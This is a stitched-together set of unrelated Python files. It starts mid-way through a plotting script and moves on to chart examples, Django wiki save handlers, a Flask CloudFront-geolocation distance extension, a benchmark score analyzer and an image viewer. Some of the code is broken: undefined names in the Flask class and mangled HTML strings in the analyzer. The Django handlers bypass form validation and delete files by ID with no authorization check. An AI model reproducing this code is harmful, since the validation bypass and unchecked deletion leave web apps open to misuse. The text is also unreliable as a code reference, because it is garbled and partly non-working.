# Plot
plt.pie(sizes, explode=explode, labels=labels, colors=colors,
autopct='%1.1f%%', shadow=True, startangle=140)

plt.axis('equal')
plt.show()

#%%
#Bubble chart
import plotly.express as px
gapminder = px.data.gapminder()

fig = px.scatter(gapminder.query("year==2007"), x="gdpPercap", y="lifeExp",
	         size="pop", color="continent",
                 hover_name="country", log_x=True, size_max=60)
fig.show()

#%%
#Waterfall chart
import plotly.graph_objects as go

fig = go.Figure(go.Waterfall(
    name = "20", orientation = "v",
    measure = ["relative", "relative", "total", "relative", "relative", "total"],
    x = ["Sales", "Consulting", "Net revenue", "Purchases", "Other expenses", "Profit before tax"],
    textposition = "outside",
    text = ["+60", "+80", "", "-40", "-20", "Total"],
    y = [60, 80, 0, -40, -20, 0],
    connector = {"line":{"color":"rgb(63, 63, 63)"}},
))

fig.update_layout(
        title = "Profit and loss statement 2018",
        showlegend = True
)

fig.show()

#%%
#Bullet graph
def bulletgraph(data=None, limits=None, labels=None, axis_label=None, title=None,
                size=(5, 3), palette=None, formatter=None, target_color="gray",
                bar_color="black", label_color="gray"):
    """ Build out a bullet graph image
        Args:
            data = List of labels, measures and targets
            limits = list of range valules
            labels = list of descriptions of the limit ranges
            axis_label = string describing x axis
            title = string title of plot
            size = tuple for plot size
            palette = a seaborn palette
            formatter = matplotlib formatter object for x axis
            target_color = color string for the target line
            bar_color = color string for the small bar
            label_color = color string for the limit label text
        Returns:
            a matplotlib figure
    """
    # Determine the max value for adjusting the bar height
    # Dividing by 10 seems to work pretty well
    h = limits[-1] / 10

    # Use the green palette as a sensible default
    if palette is None:
        palette = sns.light_palette("green", len(limits), reverse=False)

    # Must be able to handle one or many data sets via multiple subplots
    if len(data) == 1:
        fig, ax = plt.subplots(figsize=size, sharex=True)
    else:
        fig, axarr = plt.subplots(len(data), figsize=size, sharex=True)

    # Add each bullet graph bar to a subplot
    for idx, item in enumerate(data):

        # Get the axis from the array of axes returned when the plot is created
        if len(data) > 1:
            ax = axarr[idx]

        # Formatting to get rid of extra marking clutter
        ax.set_aspect('equal')
        ax.set_yticklabels([item[0]])
        ax.set_yticks([1])
        ax.spines['bottom'].set_visible(False)
        ax.spines['top'].set_visible(False)
        ax.spines['right'].set_visible(False)
        ax.spines['left'].set_visible(False)

        prev_limit = 0
        for idx2, lim in enumerate(limits):
            # Draw the bar
            ax.barh([1], lim - prev_limit, left=prev_limit, height=h,
                    color=palette[idx2])
            prev_limit = lim
        rects = ax.patches
        # The last item in the list is the value we're measuring
        # Draw the value we're measuring
        ax.barh([1], item[1], height=(h / 3), color=bar_color)

        # Need the ymin and max in order to make sure the target marker
        # fits
        ymin, ymax = ax.get_ylim()
        ax.vlines(
            item[2], ymin * .9, ymax * .9, linewidth=1.5, color=target_color)

    # Now make some labels
    if labels is not None:
        for rect, label in zip(rects, labels):
            height = rect.get_height()
            ax.text(
                rect.get_x() + rect.get_width() / 2,
                -height * .4,
                label,
                ha='center',
                va='bottom',
                color=label_color)
    if formatter:
        ax.xaxis.set_major_formatter(formatter)
    if axis_label:
        ax.set_xlabel(axis_label)
    if title:
        fig.suptitle(title, fontsize=14)
    fig.subplots_adjust(hspace=0)

data_to_plot2 = [("John Smith", 105, 120),
                 ("Jane Jones", 99, 110),
                 ("Fred Flintstone", 109, 125),
                 ("Barney Rubble", 135, 123),
                 ("Mr T", 45, 105)]

bulletgraph(data_to_plot2, limits=[20, 60, 100, 160],
            labels=["Poor", "OK", "Good", "Excellent"], size=(8,5),
            axis_label="Performance Measure", label_color="black",
            bar_color="#252525", target_color='#f7f7f7',
            title="Sales Rep Performance")

#%%
#Heatmap
import numpy as np; np.random.seed(0)
import seaborn as sns; sns.set()
uniform_data = np.random.rand(10, 12)
ax = sns.heatmap(uniform_data)

#%%
#Parallel plot
import plotly.express as px
iris = px.data.iris()
fig = px.parallel_coordinates(iris, color="species_id", labels={"species_id": "Species",
                "sepal_width": "Sepal Width", "sepal_length": "Sepal Length",
                "petal_width": "Petal Width", "petal_length": "Petal Length", },
                             color_continuous_scale=px.colors.diverging.Tealrose,
                             color_continuous_midpoint=2)
fig.show()


from .models import Page, File, Comment
from .forms import page_form, upload_file_form, choices_form, comment_form
from .wiki_syntax import page_linker
from django.http import HttpResponse
from django.utils import timezone

#return page to be redirected to details in the view
def save_wiki_page(request):
    # if this is a POST request we need to process the form data
    if request.method == 'POST':
        # create a form instance and populate it with data from the request:
        form = page_form(request.POST)
        form2 = upload_file_form(request.POST, request.FILES)

        if form.is_valid() or True:
            # process the data in form.cleaned_data as required
            # ...
            # redirect to a new URL:
            new_title = request.POST['title']
            new_bodytext = request.POST['bodytext']

            new_page = Page(title = pgt(new_title), bodytext = pgt(new_bodytext))
            new_page.save()

            if form2.is_valid():
                uploaded_file = request.FILES['data']
                file_model = File(name = uploaded_file.name, file_obj = uploaded_file, page = new_page)
                file_model.save()

            new_page_id = new_page.id
            return new_page

    #return nothing otherwise, so our view knows to redirect to an error page
    return

# return updated page
def save_submit(request, page):
    if request.method == 'POST':
        form = page_form(request.POST)
        form2 = upload_file_form(request.POST, request.FILES)
##        form3 = choices_form(request.POST)

        if form.is_valid() or True:
            new_title = request.POST['title']
            new_bodytext = request.POST['content']
            #need to clean data
            page.title = pgt(new_title)
            page.bodytext = pgt(new_bodytext)
            page.save()

        if form2.is_valid():
            uploaded_file = request.FILES['data']

            file_model = File(name = uploaded_file.name, file_obj = uploaded_file)
            file_model.page = page
            file_model.save()

        if True:
            file_ids_list = request.POST.getlist('choices')
            for file_id in file_ids_list:
                try:
                    file = File.objects.get(pk = file_id)
                    file.delete()
                except:
                    pass
    return page

def save_page_comment(request, page_obj):
    if request.method=="POST":
        form = comment_form(request.POST)

        if form.is_valid() or True:
            name = request.POST['user_name']
            text_content = request.POST['content']
            new_comment = Comment(user_name=name, content=text_content, date = timezone.now(), page=page_obj, parent=None)
            new_comment.save()

#adds the a href links to wiki syntax - used only when initializing html page
def process_wiki_syntax(bodytext):
    bodytext = page_linker(bodytext)
    return bodytext

#process generic text
def pgt(text):
    return text.strip()


# -*- coding: utf-8 -*-

import json
from urllib.parse import unquote

import botocore
from flask import (
    Blueprint,
    Flask,
    abort,
    current_app,
    jsonify,
    request,
)
from flask_cors import cross_origin

try:
    from haversine import haversine, Unit
    HAS_HAVERSINE = True
except ImportError:
    HAS_HAVERSINE = False

GEOGRAPHY_OPTIONS = [
    "ROUTE",
    "USE_COUNTRY_CODE_COMPARISON",
]

DESIRED_HEADERS = {
    'cloudfront-viewer-country': 'country_code',
    'cloudfront-viewer-city': 'city',
    'cloudfront-viewer-country-name': 'country_name',
    'cloudfront-viewer-country-region': 'region_code',
    'cloudfront-viewer-country-region-name': 'region_name',
    'cloudfront-viewer-latitude': 'latitude',
    'cloudfront-viewer-longitude': 'longitude',
    'cloudfront-viewer-metro-code': 'metro_code',
    'cloudfront-viewer-postal-code': 'postal_code',
    'cloudfront-viewer-time-zone': 'timezone'
}

AS_FLOAT = [
    'cloudfront-viewer-latitude',
    'cloudfront-viewer-longitude',
]

REGION_UNIT = {
    'US': Unit.MILES,
    'UK': Unit.MILES,
}

POINT_NEMO_HEADERS = {
    'country_code': 'N/A',
    'city': 'Point Nemo',
    'country_name': 'N/A',
    'region_code': 'N/A',
    'region_name': 'Pacific Ocean',
    'latitude': -48.8767,
    'longitude': -123.3933,
    'metro-code': 'N/A',
    'postal_code': 'N/A',
    'timezone': 'Etc/GMT-9',
}

TESTING_HEADERS = {
    "city": "Saint-Eugene",
    "country_code": "CA",
    "country_name": "Canada",
    "latitude": 45.8103,
    "longitude": -72.6982,
    "postal_code": "J0C",
    "region_code": "QC",
    "region_name": "Quebec",
    "timezone": "America/Toronto",
}

class FlaskGeography:

    _cache = None

    def __init__(self, app: Flask = None, *, route: str = None):
        self._cache = {}
        if app:
            self.init_app(app, route=route)

    def init_app(self, app: Flask, *, route: str = None):
        self.app = app

        if route is None:
            if app.config.get('GEOGRAPHY_ROUTE'):
                route = app.config['GEOGRAPHY_ROUTE']
            else:
                self.app.logger.warning('Cannot instantiate FlaskGeography without a route defined')
                return

        country_code_comparison = app.config.get('GEOGRAPHY_USE_COUNTRY_CODE_COMPARISON', True)

        def init_response():
            arg_use_country_code = request.args.get('limit_by_country')
            if arg_use_country_code:  # Truthy because of strings, regardless of value
                use_country_code = arg_use_country_code not in ['false', '0', '']
            else:
                use_country_code = country_code_comparison
            return FlaskGeographyResponse(country_code_comparison=use_country_code)

        @app.route(route)
        @cross_origin(origins=['*'], methods=['GET', 'OPTIONS'])
        def geography():
            return init_response().basic()

        @app.route(f'{route}/closest-to-user/<path:filename>', methods=['GET'])
        def closest_to_user(filename):
            if not app.s3_proxy:
                return abort(404)

            force_refresh = bool(request.args.get('force_refresh', None))

            if filename not in self._cache or force_refresh:
                try:
                    data_file = app.s3_proxy.get_file(f'{filename}.json')

                except botocore.exceptions.ClientError as exc:
                    if exc.response['Error']['Code'] == 'NoSuchKey':
                        app.logger.warning(f"/{filename}.json does not exist!")
                        return abort(404)
                    else:
                        raise

                try:
                    data = {
                        'points': json.load(data_file['Body']),
                    }

                except json.JSONDecodeError as exc:
                    app.logger.error(f'/{filename}.json is not valid json')
                    app.logger.exception(exc)
                    return abort(404)

                self._cache[filename] = data.copy()

            else:
                data = self._cache[filename].copy()

            if request.args.get('unit'):
                data.update({'unit': request.args['unit']})

            return init_response().closest_to_user(data)

        @app.route(f'{route}/closest-to-user', methods=['POST'])
        def distances():
            return init_response().closest_to_user(request.json)

class FlaskGeographyResponse:

    cf_headers = None
    closest = None
    points = None
    home = None
    country_code_comparison = None

    def __init__(self, *, country_code_comparison=True):
        self.cf_headers = {}

        for header, value in request.headers:
            if header.lower() in DESIRED_HEADERS:
                try:
                    value = unquote(value)

                except TypeError as exc:
                    self.app.logger.exception(exc)

                if header.lower() in AS_FLOAT:
                    value = float(value)

                self.cf_headers.update({
                    DESIRED_HEADERS[header.lower()]: value
                })

        if not self.cf_headers:
            # When we're not running behind CloudFront, we want valid data,
            # but want to be able to tell easily that it's inaccurate.
            self.cf_headers = TESTING_HEADERS if current_app.debug else POINT_NEMO_HEADERS

        self.closest = {}
        self.points = {}
        self.home = {}
        self.unit = REGION_UNIT.get(self.cf_headers['country_code'], Unit.KILOMETERS)
        self.country_code_comparison = bool(country_code_comparison)

    def basic(self):
        return jsonify(self.cf_headers)

    def closest_to_user(self, data):
        """
        data is a dict of:

        {
            'unit': Unit.KILOMETERS,  # Optional, can be any of the supported units of Haversine
            'home': [  # Optional latitude/longitude pair. default is taken from CF headers
                45.1234,
                -53.1234,
            ],
            'points': {
               # Required, list of points to compare against, a unique id + lat/long pair + any desired extra keys
               'id1': {
                   'latitude': 45.1235,
                   'longitude': -53.1234,
                   ...other ignored keys
               },
               ...
            }
        }
        """

        if not HAS_HAVERSINE:
            return abort(404)

        if self.cf_headers == POINT_NEMO_HEADERS:
            return abort(404)

        if not data.get('points'):
            raise abort(400)

        if data.get('unit'):
            self.unit = data.get('unit')
            if not isinstance(unit, Unit):
                try:
                    self.unit = Unit[self.unit.upper()]
                except IndexError:
                    raise abort(400)

        self.home = data.get('home', (self.cf_headers['latitude'], self.cf_headers['longitude'],))
        self.closest = None
        self.points = {}

        if isinstance(data['points'], (list, set,)):
            for point in data['points']:
                if 'id' not in point or 'latitude' not in point or 'longitude' not in point:
                    continue

                id_ = point['id']
                ll = (float(point['latitude']), float(point['longitude']),)

                self.points.update({id_: point})
                self.calculate_distance(id_, ll, point.get('country_code', None))

        else:
            for id_,ll in data['points'].items():
                self.points.update({id_: {
                    'latitude': ll[0],
                    'longitude': ll[1],
                }})
                self.calculate_distance(id_, ll)

        return jsonify({
            'unit': self.unit,
            'closest': self.closest,
            'points': self.points,
        })

    def calculate_distance(self, id_, ll, country_code=None):

        distance = haversine(self.home, ll, unit=self.unit)
        self.points[id_].update({'distance': distance})

        if (
            self.country_code_comparison and
            country_code is not None and
            country_code != self.cf_headers['country_code']
        ):
                return

        if self.closest is None or distance < self.closest['distance']:
            self.closest = {
                'id': id_,
                'distance': distance,
            }


import json

class bench_analyzer(object):
    def __init__(self, score_info, create_score_dict,
                 file_name=None, json_data=None):
        '''
        file_name:         string:   name of file containing json data for
                                     bench output
        score_info:        dict:     key is test name, val is dict of the form
                                     {"normalizers": val, "weight": val}
            normalizers: normalizers to turn score into percentage of "top
                                     performance capable" ex. 10000.0
            weights:     weights for each score to get weighted avg ex. 2.0
        create_score_dict: function: meant to take raw json data from bench
                                     and turn it into a dict containing only
                                     names of tests to be included and their
                                     scores
        '''
        self.file_name = file_name
        self.score_info = score_info

        #raw json data that came from the json file
        if file_name is not None:
            self.json_data = self._get_json_from_file(file_name)
        else:
            self.json_data = json_data

        if self.json_data is None:
            raise Exception("No benchmark data available.")

        #dictionary of all the available scores from the json
        #ex. {"test_name": 4000.0}
        self.score_dict = create_score_dict(self.json_data)
        #create string with html for the table and rows of the breakdown
        breakdown_table_rows = ["
 \n\
                    %s	 \n\
                    %s	 \n\
                    %s	 \n\

\n" % (key, val["weight"], val["normalizer"])
                                for key, val in score_info.iteritems()]
        breakdown_table = "
 \n\

 \n\
                    Input Label	 \n\
                    Weight	 \n\
                    Highest Score	 \n\

 \n\
                    %s \n\

" % "".join(breakdown_table_rows)
        self.breakdown = breakdown_table
        self.analyze()

    def _get_json_from_file(self, file_name):
        '''
        Reads the file into a JSON object.
        If file doesn't exist or is empty [] is returned
        If bad JSON given error is thrown
        '''
        data_json = []
        with open(file_name, 'r') as data_file:
            data_json = json.load(data_file)
        return data_json

    def _avg(self, num_list, weight_total):
        return sum(num_list)/float(weight_total)

    def analyze(self):
        normal_scores_dict = {key: (100 * float(val) /
                                    float(self.score_info[key]["normalizer"]))
                              for key, val in self.score_dict.iteritems()}
        weighted_normal_scores_list = [self.score_info[key]["weight"]*val
                                       for key, val in
                                       normal_scores_dict.iteritems()]
        weight_total = sum([val["weight"]
                            for val in self.score_info.values()])
        self.json_data["overall_score"] = self._avg(
            weighted_normal_scores_list, weight_total)
        self.overall_score = self.json_data["overall_score"]
        self.json_data["status"] = "Success"


#
# read Pilatus image into numpy array

import wx
import Image
import numpy
from wxmplot import ImageFrame

def getPilatusImage(filename):
    img = Image.open(filename)
    dat = numpy.array(img.getdata()).reshape((195,487))
    return img, dat

img, dat = getPilatusImage('Pilatus.tiff')

app = wx.PySimpleApp()
frame = ImageFrame()
frame.display(dat)
frame.Show()
app.MainLoop()